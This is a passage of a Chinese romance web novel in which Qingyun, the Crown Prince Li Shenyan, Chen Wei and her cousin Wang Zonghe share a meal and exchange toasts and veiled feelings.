无数次在树上暗暗偷窥的李审言:“……我神机妙算。” 直觉有异,清蕴眼眸缓缓转了圈,不急着在此时得到答案,反正以后知道的机会很多。 随他把这间装饰一新的院子走了遍,对于他的要求,清蕴自然没拒绝。 李审言还道:“一人住着会不会害怕,可需人陪?” “不必,有白芷陪我,藉香也在。” 李审言幽幽叹了口气,“可东宫于我一人来说,却是太大了。” 清蕴只作听不见,这么久都等了,不至于等不了半年。 齐国公府的一草一木,对她而言都熟悉无比,毕竟是待了四年的地方。 因注定不会长住,清蕴没打算做什么改动,吩咐人将一应用物搬进去,便和李审言出门。 他们今天打算在外面用饭。 没想到刚出门就碰上下值的陈危,他正牵马慢行,看见清蕴时停下,称呼在口中换了几次,最终只是点点头,目光一如既往专注。 清蕴:“中午可有饭局?” 陈危摇头。 清蕴笑了笑,“那就一起吧。” 她的要求,陈危向来不会拒绝,但答应的同时,他还看向了她的左后侧。 清蕴循目光望去,只觉风也随之停滞一瞬,竟是三哥。 李审言比他们任何一人都更早察觉到王宗赫的存在,只是先前没说。 街市喧嚣仿佛在此刻消失,仅剩李审言、她、王宗赫以及陈危。 还是王宗赫主动开口,“我也想向你们讨顿饭吃,不知太子殿下和表妹允否?” 清蕴一时未做声,李审言道:“一顿饭而已,我们还不至于如此小气。” 于是四人保持两两而行,前后进入酒楼厢房。 美食佳肴很快摆了满桌,四人共同举杯。 几杯酒入腹,尚无醉意,但各自已经有了开口的勇气。 王宗赫先是祝贺二人婚事,陈危亦随声祝他们。 李审言自然全盘接下,且没让他们一起敬,各自和他们喝了三杯,仍面不改色。 陈危还想再敬,接收到清蕴的示意,终究罢手。 不想待会儿面对三个醉鬼,清蕴出声道:“昭英阁之事,多谢三哥。” 王宗赫:“不必,本就是你应有之名。” 他见李审言拾筷帮清蕴夹了块糕点,微微垂眸,随后兀自一笑,再次举杯,这回是对向清蕴,“表妹。” 略作停顿,低声道:“愿为千里河,长照明月舟。” 既是祝福,也是陈述己愿。 清蕴听懂了,对上三哥温和坚定的目光,身侧紧捱着李审言有力的臂膀,再看向右侧的陈危,忽而一笑,“饮尽此杯。” 四人共同举杯。【魔蝎小说 mo xie xs .c om】